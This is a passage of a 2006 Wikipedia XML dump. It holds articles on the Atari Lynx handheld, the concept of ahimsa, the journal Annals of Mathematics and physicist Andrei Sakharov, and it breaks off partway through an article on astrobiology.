[[de:Atari Jaguar]]
[[es:Atari Jaguar]]
[[fr:Jaguar (console)]]
[[it:Atari Jaguar]]
[[nl:Atari Jaguar]]
[[ja:Atari Jaguar]]
[[pl:Atari Jaguar]]
[[pt:Atari Jaguar]]
[[sv:Atari Jaguar]]</text>
    </revision>
  </page>
  <page>
    <title>Atari Lynx</title>
    <id>2783</id>
    <revision>
      <id>41849135</id>
      <timestamp>2006-03-02T03:23:02Z</timestamp>
      <contributor>
        <username>Otduff</username>
        <id>934738</id>
      </contributor>
      <text xml:space="preserve">{{CVG system| title = Atari Lynx
|logo = [[Image:lynxlogo.gif|225px]]
|image = [[Image:atari-lynx-1-1000.jpeg|225px||Atari Lynx]]
|manufacturer = [[Atari]]
|type = [[Handheld game console]]
|generation = [[History of video games (8-bit era)|Third generation era]]
|lifespan = [[1989]]
|media = [[Cartridge (electronics)|Cartridge]]
|conrollers =
|onlineservice = ComLynx &lt;br&gt;(17 player networking)
|topgame = ''[[Road Blasters]]''
}}

The '''Atari Lynx''' is [[Atari]]'s only [[handheld game console]], and the first such machine with a [[color]] display. The system is notable for its forward-looking features, advanced graphics, and [[ambidextrous]] format. The ''Lynx'' was released in [[1989]], the same year as [[Nintendo]]'s (monochromatic) [[Game Boy]].

==Features==
The Atari Lynx had several innovative features including it being the first color handheld, with a backlit display, a switchable right-handed/left-handed (upside down) configuration, and the ability to network with up to 17 other units via its &quot;ComLynx&quot; system (though most games would network eight or fewer players).

The Lynx was also the first gaming console with hardware support for zooming/distortion of [[sprite (computer graphics)|sprites]], allowing fast pseudo-[[3D computer graphics|3D]] games with unrivaled quality at the time and a capacity for drawing filled polygons with limited CPU intervention.

The games were originally meant to be loaded from [[tape]], but it changed to using ROM, but the loading didn't change so the data had to be loaded from ROM to RAM before it could be used, thereby eating up memory and making the games slower than necessary.

The system was developed by [[Epyx]] as the &quot;Handy&quot; and completed in [[1987]], at which point Atari bought the rights to it. Atari changed the internal speaker and removed the thumb-stick on the control pad before releasing it as the Lynx two years later, initially retailing in the US at USD $189.95. The two creators of the system, [[RJ Mical]] and [[Dave Needle]], were also members of the [[Amiga]] design team and much to the frustration of Atari, the Amiga was used as the software development platform.

[[Image:Atarilynx.jpg|right|thumb|Atari Lynx II]]
In 1991, Atari relaunched the Lynx with new packaging, slightly improved hardware, and a new sleek look. The new system (referred within Atari as the &quot;Lynx II&quot;) featured rubber hand grips and a clearer backlit color screen with a power save option. It also replaced the monaural headphone jack of the original Lynx with one wired for stereo.

==Mistakes==
Though technologically superior to the Game Boy, Nintendo's marketing muscle, domination of 3rd party developers, and quality first party game releases (particularly ''[[Tetris]]'') meant the Lynx was soon marginalized. The Lynx also suffered from needing more batteries (six versus four in the original Game Boy) which managed to run down much faster. The more powerful CPU of the Lynx, plus its backlit screen, would drain a set of six AA batteries in only four hours (five to six hours in the Lynx II). The Lynx was also physically larger than it needed to be; Atari had followed the advice of focus groups who wanted a bigger unit because that gave them &quot;more&quot; for their money (much of the inside of the Lynx's housing was empty air). It also didn't help that the Lynx was sold at a substantially higher price than the Game Boy. By the mid-1990s, the Atari Lynx was no longer widely available.

The [[Sega Game Gear]] followed a similar formula to the Atari Lynx, and the Game Gear did fare somewhat better due to stronger marketing and better titles. At the same time, the Game Gear was also plagued by similar problems that hurt the Lynx; higher price, shorter battery life, larger size and the Game Boy's dominance of the portable video game market.

As with a lot of older consoles, there are a small group of devoted fans still creating and selling games for the system.

==Technical specifications==
*[[MOS_Technology|MOS]] 65SC02 processor running at up to 4MHz (~3.6MHz average)
**8-bit CPU, 16-bit address space
**Sound engine
***4 channel sound (Lynx II with panning)
***8-bit DAC for each channel(4 channels x 8-bits/channel = 32 bits commonly quoted)
**Video DMA driver for liquid-crystal display
***4,096 color (12-bit) palette
***16 simultaneous colors (4 bits) from palette per scanline (more than 16 colors can be displayed by changing palettes after each scanline)
** 8 System timers (2 reserved for LCD timing, one for UART)
**Interrupt controller
**UART (for ComLynx) ( fixed format 8E1, up to 62500Bd)
**512 bytes of bootstrap and game-card loading ROM

*Suzy (16-bit custom CMOS chip running at 16MHz)
**Graphics engine
***Hardware drawing support
***Unlimited number of high-speed sprites with collision detection
***Hardware high-speed sprite scaling, distortion, and tilting effects
***Hardware decoding of compressed sprite data
***Hardware clipping and multi-directional scrolling
***Variable frame rate (up to 75 frames/second)
***160 x 102 standard resolution (16,320 addressable pixels).  Capability of 480 x 102 artificially high resolution
**Math co-processor
***Hardware 16-bit multiply and divide (32-bit answer)
***Parallel processing of CPU and a single multiply or a divide instruction

*[[RAM]]: 64Kbyte 120ns [[DRAM]]
*Storage: Cartridge -  128, 256 and 512Kbyte exist, up to 2Mbyte is possible with bank-switching logic.
Some (homebrew) carts with EEPROM to save hi-scores.
*Ports:
**[[Headphone]] port (mini-DIN 3.5mm stereo; wired for mono on the original Lynx)
**ComLynx (multiple unit communications, serial)
*[[LCD]] Screen: 3.5&quot; diagonal
*[[Battery (electricity)|Battery]] holder (six AA) ~4-5 hours

==Screenshots==
&lt;!-- 
FAIR USE of Atari-lynx-california-games-surfing.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-california-games-surfing.png for rationale.

FAIR USE of Atari-lynx-chips-challenge.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-chips-challenge.png for rationale.

FAIR USE of Atari-lynx-rampart.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-rampart.png for rationale.

FAIR USE of Atari-lynx-shanghai.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-shanghai.png for rationale.

FAIR USE of Atari-lynx-road-blasters.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-road-blasters.png for rationale.

FAIR USE of Atari-lynx-jimmy-connors-tennis.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-jimmy-connors-tennis.png for rationale.

FAIR USE of Atari-lynx-turbo-sub.png: see image description page at http://en.wikipedia.org/wiki/Image:Atari-lynx-turbo-sub.png for rationale.
--&gt;
&lt;gallery&gt;
Image:Atari-lynx-california-games-surfing.png|''[[California Games]]''&lt;br&gt;[[Epyx]] (1989)
Image:Atari-lynx-chips-challenge.png|''[[Chip's Challenge]]''&lt;br&gt;[[Atari]]/[[Epyx]] (1989)
Image:Atari-lynx-road-blasters.png|''Road Blasters''&lt;br&gt;[[Tengen (company)|Tengen]] (1990)
Image:Atari-lynx-shanghai.png|''[[Shanghai solitaire|Shanghai]]''&lt;br&gt;Mediagenic (1990)
Image:Atari-lynx-turbo-sub.png|''Turbo Sub''&lt;br&gt;[[Atari]] (1991)
Image:Atari-lynx-rampart.png|''[[Rampart (arcade game)|Rampart]]''&lt;br&gt;[[Atari]]/[[Tengen (company)|Tengen]] (1992)
Image:Lynx-steel-talons.png|''Steel Talons''&lt;br&gt;[[Atari]]/[[Tengen (company)|Tengen]] (1992)
Image:Atari-lynx-jimmy-connors-tennis.png|''Jimmy Connors' Tennis''&lt;br&gt;[[Atari]] (1993)
&lt;/gallery&gt;

== See also ==
{{dedicated video game handheld consoles}}
*[[List of Atari Lynx games]]
*[[Atari 2600]]
*[[Atari 5200]]
*[[Atari Panther]]
*[[Atari Jaguar]]
*[[Atari Jaguar II]]

== External links ==
* [http://www.ataritimes.com/lynx/index.html Atari Times, Lynx] - Covering the Atari Lynx
* http://dmoz.org/Games/Video_Games/Console_Platforms/Atari/
* [http://www.electric-escape.net/atari/Lynx/FAQ Atari Lynx FAQ]
* [http://www.monlynx.de/lynx/ Information regarding development for the Lynx]
*[http://www.planet-atari.de/ Germany's biggest Atari Fanpage]
*[http://users.forthnet.gr/ath/kosmas1/atarilynx/ Greece's biggest Atari Lynx Fanpage]

[[Category:Handheld game consoles]]
[[Category:Third-generation video game consoles]]
[[Category:Atari consoles|Lynx]]

[[de:Atari Lynx]]
[[es:Atari Lynx]]
[[eo:Atari Lynx]]
[[fr:Lynx (console)]]
[[it:Atari Lynx]]
[[nl:Atari Lynx]]
[[ja:Atari Lynx]]
[[pl:Atari Lynx]]
[[fi:Atari Lynx]]
[[sv:Atari Lynx]]</text>
    </revision>
  </page>
  <page>
    <title>Ahimsa</title>
    <id>2784</id>
    <revision>
      <id>42116551</id>
      <timestamp>2006-03-03T22:54:53Z</timestamp>
      <contributor>
        <username>Zirland</username>
        <id>335898</id>
      </contributor>
      <minor />
      <comment>interwiki</comment>
      <text xml:space="preserve">{{Hinduism_small}}
'''Ahimsa''' is a [[religion|religious]] concept which advocates [[non-violence]] and a respect for all [[life]]. ''Ahimsa'' (&amp;#2309;&amp;#2361;&amp;#2367;&amp;#2306;&amp;#2360;&amp;#2366; ahim&amp;#775;s&amp;#257;) is [[Sanskrit]] for avoidance of ''[[himsa]]'', or injury. It is interpreted most often as meaning peace and reverence toward all [[sentient]] beings. Ahimsa is the core of [[Hinduism]], [[Jainism]], and [[Buddhism]]. Its first mention in Indian philosophy is found in the Hindu scriptures called the [[Upanishads]], the oldest dating about 800 BCE. Those who practice ahimsa are often [[vegetarianism|vegetarians]] or [[vegan|vegans]]. 

Ahimsa was introduced to the [[Western world|West]] by the [[Mahatma Gandhi]]. Inspired by his actions, Western [[civil rights]] movements, led by such people as [[Martin Luther King Jr.]], engaged in non-violent protests. The more recent popularity of [[yoga]] and [[meditation]] in the West has also served to introduce many westerners to ahimsa and other [[Hindu]] concepts. [[Nonviolent Communication]], developed by American Dr. [[Marshall Rosenberg]] and practiced and taught around the world, is inspired by Gandhi's example. 

== Ahimsa in Jainism ==

In [[Jainism]], the '''ahimsa-[[vrata]]''', or vow of ahimsa, is the first of the five '''mahavratas''', or great vows. All animal life, and most [[plant]] life, is considered [[sentience|sentient]].  Any action endangering such life, including [[agriculture]], [[violence]], animal sacrifice, drinking liquor, eating [[honey]], [[potato]]es or certain [[fruit]]s, and eating at night, is forbidden. Some Jains wear a [[cloth]] over their [[mouth]]s to avoid inhaling airborne life forms. 

The ethical code of Jainism is taken very seriously. Summarized in the Five Vows, they are followed by both lay people and monastics. These are: 

# non-injury (ahimsa) 
# non-lying (satya) 
# non-stealing (asteya) 
# non-possession (aparigrah) 
# chastity (brahmcharya)

The Jain conception of ahimsa involves three times three&amp;mdash;the three actions (''karanas'') of himsa in the three modes (''yogas'')&amp;mdash;observances:

Neither by action or by speech or by thought:
# do injury oneself (''krita'')
# cause injury to be done by others (''karita'') 
# approve injury done by others (''anumata'', ''mananat'', or ''anumodana'')

===External links and references in Jainism ===

*[http://www.jainworld.com/phil/ahimsa/ahimindex.htm Jainworld.com Ahimsa index]
*[http://www.herenow4u.de/indexEng.htm HereNow4U - Online Magazine]

==Ahimsa in Hinduism==

=== Yoga ===
[[Yoga]] is one of the six schools of [[Hindu philosophy]], and as codified by [[Patanjali|Maharishi Patanjali]] in the seminal work ''[[Yoga Sutra]]'', the foundation of [[ashtanga yoga|ashtanga]] and Raja Yoga, ahimsa is the first of the five '''yamas''', or eternal vows or restraints of yoga.

=== Gandhi ===

[[Mahatma Gandhi]] drew many of his concepts of truth, nobility and ethics from the [[Bhagavad Gita]] and his personal love of Lord [[Rama]], a Hindu God. Gandhi's concept of life and ahimsa, which led to his concept of [[satyagraha]], or peaceful protest, primarily stem from his association with [[Hindu Philosophy|Hindu]] and [[Jainism|Jain philosophy]].

Quotations from Gandhi on the subject:

&lt;cite&gt;
:Nonviolence is the greatest force at the disposal of mankind. It is mightier than the mightiest weapon of destruction devised by the ingenuity of man.
&lt;/cite&gt;

Literally speaking, ahimsa means non-violence towards life but it has much higher meaning. It means that you may not offend anybody; you may not harbor uncharitable thought, even in connection with those who consider your enemies. To one who follows this doctrine, there are no enemies. A man who believes in the efficacy of this doctrine finds in the ultimate stage, when he is about to reach the goal, the whole world at his feet. If you express your love&amp;mdash;''ahimsa''&amp;mdash;in such a manner that it impresses itself indelibly upon your so-called enemy, he must return that love.

:This doctrine tells us that we may guard the honor of those  under our charge by delivering our own lives into the hands of the man who would commit the sacrilege. And that requires far greater courage than delivering of blows.

Ahimsa or non-injury, of course, implies non-killing. But, non-injury is not merely non-killing. In its comprehensive meaning, ahimsa or non-injury means entire abstinence from causing any pain or harm whatsoever to any living creature, either by thought, word, or deed. Non-injury requires a harmless mind, mouth, and hand.
&lt;/cite&gt;

==External links==

*[http://www.sivanandadlshq.org/teachings/ahimsa.htm Sri Swami Sivananda on Ahimsa]
*[http://www.kamat.com/mmgandhi/ahimsa.htm Ask Gandhi: Ahimsa]
*[http://www.lifepositive.com/Body/yoga/ashtanga-yoga.asp#yama Ashtanga Yoga Yamas]

==See also==
*[[Turn the other cheek]]
*[[Nonviolence]]
*[[Pacifism]]


{{Hinduism}}

[[Category:Hindu philosophical concepts]]
[[Category:Jain philosophical concepts]]
[[Category:Buddhist philosophical concepts]]
[[Category:Religious ethics]]

[[cs:Ahinsa]]
[[de:Ahimsa]]
[[fr:Ahimsa]]
[[nl:Ahimsa]]
[[nn:ahimsa]]
[[pl:Ahinsa]]
[[pt:Ainsa]]
[[sv:Ahimsa]]
[[th:อหิงสา]]
[[vi:Bất hại]]</text>
    </revision>
  </page>
  <page>
    <title>Annals of Mathematics</title>
    <id>2785</id>
    <revision>
      <id>40360076</id>
      <timestamp>2006-02-20T01:23:44Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''''Annals of Mathematics''''' (ISSN 0003-486X), often just called '''''Annals''''', is a bimonthly [[mathematics research journal]] published by [[Princeton University]] and the [[Institute for Advanced Study]].  It ranks amongst the most prestigious mathematics journals in the world by criteria such as refereeing intensity.

It started out as ''The Analyst'' in 1874, but was discontinued in 1883 and renamed in 1884 under the new direction of [[Ormond Stone]] of the [[University of Virginia]].  It moved to [[Harvard University|Harvard]] in [[1899]] before reaching its current home in Princeton in [[1911]].  

An important period for the journal was 1928-1958 with [[Solomon Lefschetz]] as editor.  During this time, ''Annals'' became an increasingly well-known and respected journal.  The rise of ''Annals'', in turn, stimulated American mathematics.

Princeton University continued to publish the ''Annals'' on its own until [[1933]], when the [[Institute for Advanced Study]] took joint editorial control.  Since [[1998]] it has been available in an electronic edition, alongside its regular print edition.

The current editors of the ''Annals of Mathematics'' are:
* [[Jean Bourgain]], Institute for Advanced Study
* [[Phillip Griffiths]], Institute for Advanced Study
* [[David Gabai]], Princeton University 
* [[Nick Katz]], Princeton University
* [[Peter Sarnak]], Princeton University
* [[Yakov Sinai]], Princeton University 

==External links==

* [http://www.math.princeton.edu/~annals/ The official website of Annals of Mathematics]

[[Category:Mathematical journals]]

[[es:Annals of Mathematics]]
[[ko:수학연보]]</text>
    </revision>
  </page>
  <page>
    <title>Andrei Sakharov</title>
    <id>2786</id>
    <revision>
      <id>42131174</id>
      <timestamp>2006-03-04T00:51:54Z</timestamp>
      <contributor>
        <username>Dacoutts</username>
        <id>690986</id>
      </contributor>
      <comment>/* Turn to activism */ International Humanist Award</comment>
      <text xml:space="preserve">[[Image:Sakharov 1943.jpg|thumb|right|Andrei Sakharov, 1943]]

'''Andrei Dmitrievich Sakharov''' ({{lang-ru|Андре́й Дми́триевич Са́харов}}, [[May 21]] [[1921]] &amp;ndash; [[December 14]] [[1989]]), was an eminent [[Russian SFSR|Soviet]] [[Nuclear physics|nuclear]] [[physicist]], [[dissident]] and [[human rights]] activist. Sakharov was an advocate of [[civil liberties]] and reforms in the [[Soviet Union]].

==Life and career==
Born in [[Moscow]] in [[1921]], he entered [[Moscow State University]] in [[1938]]. Following evacuation in [[1941]] during the [[Eastern Front (World War II)|&quot;Great Patriotic War&quot;]], he graduated in [[Ashkhabad]], in today's [[Turkmenistan]]. He was then assigned laboratory work in [[Ulyanovsk]]. He returned to Moscow in [[1945]] to study at the Theoretical Department of [[FIAN]] (the Physical Institute of the [[Russian Academy of Sciences|Soviet Academy of Sciences]]). He received his [[Doctor of Philosophy|Ph.D.]] in [[1947]].

[[Image:1958 Sakharov Kurchatov.jpg|thumb|Andrei Sakharov and [[Igor Kurchatov]], 1958]]
On [[World War II]]'s end, Sakharov researched [[cosmic ray]]s. In mid-1948 he participated in the [[Soviet atomic bomb project]] under [[Igor Kurchatov]]. The first Soviet atomic device was tested on [[August 29]], [[1949]]. After moving to [[Sarov]] in 1950, Sakharov played a key role in the next stage, the development of the [[hydrogen bomb]]. The first Soviet device was tested on [[August 12]], [[1953]]. In 1953, he received his [[Doctor of Science|D.Sc.]] degree, was elected a full member of the [[Russian Academy of Science|Soviet Academy of Sciences]], and was awarded the first of his three [[Hero of Socialist Labor]] titles. Sakharov continued to work at Sarov, helping on the first genuine Soviet H-bombs, tested in 1955, and the 50MT '[[Tsar Bomba]]' of October 1961, the most powerful device ever exploded.

He also proposed an idea for a controlled [[nuclear fusion]] reactor, the [[tokamak]], that is still the basis for the majority of work in the area. Sakharov, in association with [[Igor Tamm]], proposed confining extremely hot ionized [[Plasma (physics)|plasma]] by [[torus]] shaped [[magnetic field]]s for controlling [[thermonuclear fusion]]. This led to the development of the tokamak device.

Sakharov proposed the idea of [[induced gravity]] as an alternative theory of [[quantum gravity]].

===Turn to activism===
From the late-[[1950s]] Sakharov had become concerned about the moral and political implications of his work. Politically active during the [[1960s]], Sakharov was against [[nuclear proliferation]]. Pushing for the end of atmospheric tests, he played a role in the [[1963]] [[Partial Test Ban Treaty]], signed in Moscow. In 1965 he returned to fundamental science and began working on [[cosmology]] but continued to oppose political discrimination.

{| border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;2&quot; style=&quot;float; width:25%; border: solid 1px #aaa; margin: 0 0 1em 1em;&quot; align=&quot;right&quot;
| [[Image:Sakharov timemag 1101770221 400.jpg|120px|]]
| [[Image:Sakharov timemag 1101900514 400.jpg|120px|]]
|-
| colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;background:#f0f0f0;&quot; |&lt;small&gt;Sakharov on the cover of [[Time (magazine)|TIME magazine]]: February 21, 1977 and May 14, 1990&lt;/small&gt;{{ifdc|February_28}}
|}

The major turn in Sakharov’s political evolution started in [[1967]], when [[anti-ballistic missile]] defense became a key issue in US–Soviet relations. In a secret detailed letter to the Soviet leadership of [[July 21]], [[1967]], Sakharov explains the need to &quot;''take the Americans at their word''&quot; and accept their proposal &quot;for a bilateral rejection by the USA and the Soviet Union of the development of antiballistic missile defense&quot;, because otherwise an arms race in this new technology would increase the likelihood of nuclear war. He also asked permission to publish his manuscript (accompanied the letter) in a newspaper to explain the tricky danger of this kind of defense. The government ignored his letter and refused to let him initiate a public discussion of ABM in the Soviet press.

In May [[1968]] he completed an essay, ''Reflections on Progress, Peaceful Coexistence, and Intellectual Freedom'', where the anti-ballistic missile defense is featured as a major threat of world nuclear war. After this essay was circulated in [[samizdat]] and then published outside the Soviet Union, Sakharov was banned from all military-related research and Sakharov returned to FIAN to study fundamental theoretical physics. In [[1970]] he was one of the founders of the [[Moscow Human Rights Committee]] and came under increasing pressure from the regime. He married a fellow human rights activist, [[Yelena Bonner]], in 1972.

[[Image:Sakharov statue-dcp0660.jpg|300px|thumb|left|Statue of Andrey Sakharov in Sakharov Square in [[Yerevan]] at night. Copyright (c) 2004, Raffi Kojian, Armeniapedia.org]]

In [[1973]] he was nominated for the [[Nobel Peace Prize]]. He won the prize in [[1975]], although he was not allowed to leave the Soviet Union to collect it. His wife read his speech at the acceptance ceremony.

Sakharov's ideas on social development led him to put forward the principle of human rights as a new basis of all politics. In his works he declared that &quot;the principle 'what is not prohibited is allowed' should be understood literally&quot;, denying the importance and validity of all moral or cultural norms not codified in the laws. He was arrested on [[January 22]] [[1980]], following his public protests against the [[Soviet Invasion of Afghanistan]] in [[1979]] and was sent to [[internal exile]] to a city of [[Nizhny Novgorod| Gorky]], now [[Nizhny Novgorod]], a [[closed city]] that was inaccessible to foreign observers.

Between [[1980]] to [[1986]], Sakharov was kept under tight Soviet police surveillance. In his memoirs he mentions that their apartment in Gorky was repeatedly subjected to searches and heists. He remained isolated but unrepentant until December 1986 when he was allowed to return to Moscow as [[Mikhail Gorbachev]] initiated the policies of [[perestroika]] and [[glasnost]].

In 1988 Sakharov was given the International Humanist Award by the [[International Humanist and Ethical Union]].

He helped to initiate the first independent legal political organizations and became prominent in the Soviet Union's growing political opposition. In April 1989, Sakharov was elected to the new parliament, the [[Congress of People's Deputies|All-Union Congress of People's Deputies]] and co-led the democratic opposition.

Sakharov died of a [[Myocardial infarction|heart attack]] in 1989 at the age of 68, and was interred in the Vostryakovskoye Cemetery in Moscow.

==Influence==
The [[Sakharov Prize]], established in [[1985]] and awarded annually by the [[European Parliament]] for people and organizations dedicated to human rights and freedoms, was named in his honor.

===Popular fiction===
Sakharov and the &quot;Sakharov Drive&quot; were featured in [[Arthur C. Clarke]]'s novel ''[[2010: Odyssey Two]]''. One of the [[USS Enterprise (NCC-1701-D)|Enterprise-D]] shuttlecraft in ''[[Star Trek: The Next Generation]]'' was also named for him.

==References==
* Sakharov, Andrei, &quot;''Facets of a Life''&quot;. 1991.
* Babenyshev, Alexander,  &quot;''On Sakharov''&quot;. Russia, 1981.
* Lozansky, Edward D., &quot;''Andrei Sakharov and Peace''&quot;. 1985.
* Drell, Sidney D., and Sergei P. Kapitsa, &quot;''Sahkarov Remembered''&quot;. 1991
* Gorelik,Gennady, with Antonina W. Bouis, &quot;''The World of Andrei Sakharov: A Russian Physicist's Path to Freedom''&quot;. Oxford University Press, 2005

==See also==
*[[Sergei Kovalev]]

==Quotes==
* &quot;In this pamphlet, advanced for discussion by its readers, the author has set himself the goal to present, with the greatest conviction and frankness, two theses that are supported by many people in the world. These are:
*# The division of mankind threatens it with destruction… Only universal cooperation under conditions of intellectual freedom and the lofty moral ideals of socialism and labor, accompanied by the elimination of dogmatism and pressure of the concealed interests of ruling classes, will preserve civilization…
*# The second basic thesis is that intellectual freedom is essential to human society — freedom to obtain and distribute information, freedom for open-minded and unfearing debate and freedom from pressure by officialdom and prejudices. Such a trinity of freedom of thought is the only guarantee against an infection of people by mass myths, which, in the hands of treacherous hypocrites and demagogues, can be transformed into bloody dictatorship. Freedom of thought is the only guarantee of the feasibility of a scientific democratic approach to politics, economics and culture.&quot; (''Reflections on Progress, Peaceful Coexistence, and Intellectual Freedom'', in ''[[The New York Times]], July 22, 1968) [http://www.aip.org/history/sakharov/essay.htm]
* &quot;I foresee a universal information system (UIS), which will give everyone access at any given moment to the contents of any book that has ever been published or any magazine or any fact. The UIS will have individual miniature-computer terminals, central control points for the flood of information, and communication channels incorporating thousands of artificial communications from satellites, cables, and laser lines. Even the partial realization of the UIS will profoundly affect every person, his leisure activities, and his intellectual and artistic development. …But the true historic role of the UIS will be to break down the barriers to the exchange of information among countries and people.&quot; (Saturday Review/World, August 24, 1974) [http://www.aip.org/history/sakharov/humrt.htm]

{{commons|Andrei Sakharov}}

==External links==
* [http://www.aip.org/history/sakharov/index.htm Andrei Sakharov: Soviet Physics, Nuclear Weapons, and Human Rights]. Web exhibit at the American Institute of Physics
* [http://people.bu.edu/gorelik/AIP_Sakharov_Photo_Chrono/AIP_Sakharov_Photo_Chronology.html Andrei Sakharov: Photo-chronology]
* &quot;''[http://www.nobel-winners.com/Peace/sakharov.html Andrey Dmitriyevich Sakharov]''&quot;. Timeline of Nobel Winners.
* [http://www.pbs.org/wgbh/amex/bomb/filmmore/reference/interview/holloway18.html David Holloway on: Andrei Sakharov]
* [http://www.wiriworlds.com/Michael/sakharov/ Andrei Sakharov Museum in Moscow Virtual Tour]
* [http://alsos.wlu.edu/qsearch.aspx?browse=people/Sakharov,+Andrei Annotated bibliography of Andrei Sakharov from the Alsos Digital Library]

; In Russian
*[http://www.sakharov-archive.ru/ Sakharov Archive]
*[http://www.sakharov-center.ru/ Sakharov Museum and Public Center: Peace, Progress and Human Rights]

{{start box}}
{{succession box | before = [[Seán MacBride]] &lt;br&gt; [[Eisaku Sato]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =1975 | after = [[Betty Williams (Northern Irish)|Betty Williams]] &lt;br&gt; [[Mairead Corrigan]]}}
{{end box}}

[[Category:1921 births|Sakharov, Andrei]]
[[Category:1989 deaths|Sakharov, Andrei]]
[[Category:Nobel Peace Prize winners|Sakharov, Andrei]]
[[Category:Russian physicists|Sakharov, Andrei]]
[[Category:Soviet dissidents|Sakharov, Andrei]]
[[Category:Soviet nuclear program|Sakharov, Andrei]]
[[Category:Polymaths|Sakharov, Andrei]]

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[[he:אנדריי סחרוב]]
[[nl:Andrej Sacharov]]
[[ja:アンドレイ・サハロフ]]
[[ka:სახაროვი, ანდრეი]]
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    </revision>
  </page>
  <page>
    <title>Astrobiology</title>
    <id>2787</id>
    <revision>
      <id>41062475</id>
      <timestamp>2006-02-24T20:41:18Z</timestamp>
      <contributor>
        <username>TheloniousMONK</username>
        <id>183339</id>
      </contributor>
      <comment>/* Research Outcomes */</comment>
      <text xml:space="preserve">{{unsourced}}

'''Astrobiology''' is an interdisciplinary field, combining aspects of [[astronomy]], [[biology]] and [[geology]], which is focused primarily on the study of the [[origin of life|origin]], distribution and [[evolution]] of life. It comes from the [[Greek language|Greek]] words ''astron'' = star, ''bios'' = life and ''logos'' = word/science), and is also known as '''exobiology''' ([[Greek language|Greek]]: ''exo'' = out) or '''xenobiology''' ([[Greek language|Greek]]: ''xenos'' = foreign).

Some major astrobiological research topics include:

* What is life?
* How did life arise on [[Earth]]?
* What kind of environments can life tolerate?
* How can we determine if life exists on other planets?

'''Exobiology''' and '''xenobiology''' are terms also found in [[science fiction]], although typically such terms refer to the speculative biology of an [[extraterrestrial]]. A xenobiologist is usually a human [[physician|doctor]] or [[biologist]] who is expert on the [[physiology]] of alien organisms and life forms.

== Overview ==

Although astrobiology is an emerging field, the question of whether [[life]] exists elsewhere in the [[universe]] is a [[verifiable]] hypothesis and thus a valid line of [[science|scientific]] enquiry. Astrobiology does not claim to be a pure scientific discipline in the sense of [[physics]] or [[biology]] but rather represents an effort by researchers in different disciplines to try and answer questions about life by drawing on knowledge of multiple scientific fields.

A particular focus of current astrobiology research is the search for life on [[Mars (planet)|Mars]]. There is a growing body of evidence to suggest that Mars has previously had a considerable amount of [[water]] on its surface; water is considered to be an essential precursor to the development of life, although this has not been conclusively proven.

Missions specifically designed to search for life include the [[Viking program]] and [[Beagle 2]] probes, both directed to Mars. The Viking results were inconclusive and Beagle 2 failed to transmit from the surface and is assumed to have crashed. A future mission with a strong astrobiology role would have been the [[Jupiter Icy Moons Orbiter]], designed to study the frozen moons of Jupiter&amp;mdash;some of which may have liquid water&amp;mdash;had it not been canceled.

=== Research Outcomes ===

[[As of 2006]], there is no definite evidence of extraterrestrial life.  However examination of [[ALH84001|meteorites]] from [[Antarctica]] which are thought to have originated from the planet [[Mars (planet)|Mars]] have provided what some scientists believe to be microfossils of extraterrestrial life, although that interpretation of the evidence is still controversial. In 2004, the spectral signature of [[methane]] was detected in the martian atmosphere by both Earth-based telescopes as well as by the [[Mars Express]] probe. Methane has a relatively short [[half-life]] in the martian atmosphere, so there must be a recent source of it. Since one possible source, active volcanism, has thus far not been detected on Mars, this has led scientists to speculate that the source could be ([[microorganisms|microbial]]) life.

Missions to other planets (such as [[Beagle 2: Evolution]] to Mars and [[Cassini probe|Cassini]] to [[Saturn (planet)|Saturn's]] moon [[Titan (moon)|Titan]]) hope to further explore the possibilities of life on other [[planet]]s in our [[solar system]].

Secondary questions, such as the availability of suitable worlds and chemical precursors, have had much success.  The &quot;wobble method&quot; and transit method (see [[Extrasolar planet]]) have found that planets are more common than previously postulated, although usually different from our own.  It has been proposed that our solar system is of an aberrant layout, though another possibility is that current searches are biased toward non-Solar layouts.  Improved detection methods and increased observing time will undoubtedly discover more planetary systems, and possibly ones more like ours.

The progress of [[infrared astronomy]] and [[submillimetre astronomy]] has &quot;opened&quot; additional star  systems.  Infrared searches have detected belts of dust and asteroids around distant stars, underpinning the formation of planets.  Some infrared images purportedly contain direct images of planets, though this is disputed.  Infrared and submillimetre [[spectroscopy]] has identified a growing number of chemicals around stars which underpin the origin or maintenance of life.

== Methodology==

=== Narrowing the task ===

''Main article: [[Planetary habitability]]''

When looking for life in other planets, some simplifying assumptions are useful to reduce the size of the task of astrobiologists. One is to assume that the vast majority of life-forms in our galaxy are based on [[Carbon based life|carbon chemistries]], as are all life-forms on Earth. While it is possible that [[Alternative biochemistry|non carbon-based life]] exists, carbon is well known for the unusually wide variety of molecules that can be formed around it.

The presence of liquid water is also a useful assumption, as it is a common molecule and provides an excellent environment for the formation of complicated carbon-based molecules that could eventually lead to the emergence of life.  Some researchers posit environments of ammonia, or more likely water-ammonia mixtures.  These environments are considered suitable for carbon or noncarbon life, while opening more temperature ranges (and thus worlds) for life.

A third assumption is to focus on Sun-like stars. Very big stars have relatively short lifetimes, meaning that life would not likely have time to evolve on planets orbiting them. Very small stars provide so little heat and warmth that only planets in very close orbits around them would not be frozen solid, and in such close orbits these planets would be tidally &quot;locked&quot; to the star.  Without a thick atmosphere, one side of the planet would be perpetually baked and the other perpetually frozen.  In 2005, the question was reopened, as the long lifetimes of [[red dwarf|red dwarves]] could allow some biology on planets with thick atmospheres.  This is significant, as red dwarves are extremely common.

About 10% of the stars in our galaxy are Sun-like, and there are about a thousand such stars within 100 light-years of our Sun. These stars would be useful primary targets for interstellar listening. However, we only know of one planet where life exists: our own. There is no way to know if any of the simplifying assumptions are correct.

=== The sciences of Astrobiology ===

==== Astronomy ====

